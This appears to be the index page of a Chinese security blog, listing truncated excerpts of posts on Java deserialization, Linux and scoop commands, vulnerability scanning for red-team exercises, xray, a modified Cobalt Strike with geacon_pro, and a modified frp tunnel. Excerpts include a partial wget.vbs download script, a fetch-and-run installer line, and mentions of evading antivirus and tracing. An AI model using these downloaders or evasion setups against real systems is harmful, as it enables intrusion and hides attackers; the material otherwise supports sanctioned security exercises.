反序列化学习资料 资料链接 Java安全漫谈:https://github.com/phith0n/JavaThings Java反序列化漏洞学习 Commons Collection:https://tttang.com/archive/1337/ 反序列化分析到shiro注入WebSocket内存马:https://xz.aliyun.com/t/12042 TemplatesImpl利用链与Fastjson 2023-03-22 #代码审计 #反序列化
Linux基础命令 前言 好多命令平时用的少,经常忘,在此做一次记录。 正文 Ubuntu修改主机名 1sudo hostnamectl set-hostname ty Ubuntu修改SSH欢迎信息 修改/etc/update-motd.d/目录下面的文件即可,不行就重启一下 SSH密钥登录 把公钥放在.ssh/authorized_keys中即可 scp 指定端口:scp -P 2233 get_info.sh 2023-02-21 #Linux
scoop基础使用 前言 scoop是一个包管理软件,可以通过一条命令安装/更新卸载软件,scoop拥有大量软件,基本上常用的软件都在scoop里面能找到。 # 安装 ## 安装 建议使用pwsh和Windows终端 12Set-ExecutionPolicy RemoteSigned -Scope CurrentUserirm get.scoop.sh | iex ## 配置额外的bucket 查看bucket列表 2023-02-19
漏洞扫描 前言 一场比赛最重要的环节就是外网打点,外网没点进不了内网一切都白瞎,在我的印象中,这几年比较火的漏洞是shiro 550/springboot rce/log4j rce。第一时间肯定要先扫描提供的资产是不是存在上面的漏洞,快速打点。当然各大oa还财务系统也存在各种漏洞。 # 批量漏洞扫描 ## log4j fuzz spring 12345678910111213141516171819202 2023-02-17 #hvv #漏洞扫描
攻防演练学习笔记 正文 wget.vbs 1set x= createobject("microsoft.xmlhttp"):x.open "get",lcase(wscript.arguments(0)),0:x.send():set s = createobject("adodb.stream"):s.mode = 3:s.type = 1:s.ope 2023-02-13 #攻防演练
xray使用入门 前言 一款功能强大的安全评估工具,在各种比赛中,先用xray轮一下总有收获不是吗。 下载链接 支持正版,抵制盗版,谨防后门。 xray: https://stack.chaitin.com/tool/detail?id=1] rad: https://stack.chaitin.com/tool/detail?id=2 super-xray:https://github.com/4ra1n/su 2023-02-10 #xray #自动化
geacon_pro快速上手 前言 过不了360 本文主要记录一下使用二改的cobaltstrike配合geacon_pro的简单配置过程放链接: https://github.com/H4de5-7/geacon_pro https://github.com/TryGOTry/CobaltStrike_Cat_4.5 正文 CobaltStrike_Cat_4.5 配置 首先安装相应版本的jdk 12sudo apt i 2023-02-06 #geacon_pro #cobaltstrike
渗透测试实用小工具 前言 工欲善其事,必先利其器。一个好的工具可以提升工作的效率,把自己从重复的工作中解放出来。 工具 外网部分 springboot heapdump 敏感信息提取工具:https://github.com/whwlsfb/JDumpSpider redis利用工具:https://github.com/yuyan-sec/RedisEXP jwt密码爆破:https://github.com/b 2023-02-03 #工具
二改frp使用技巧 前言 今年的华为行动来的格外的早一些,过完年环境忘得差不多了,打内网没有frp怎么行,搞到一半发现有更方便的防止溯源的方法,文末说一下,就这样。 正文 魔改frp的下载链接,生成自定义加密的服务器IP的方法可以参考issue,这个就不多讲了,重点讲一下安全配置,默认情况下生成的配置文件是不带密码,这里放上两个官方带密码的例子: 服务端: 123456789101112131415[common]b 2023-02-02 #内网 #frp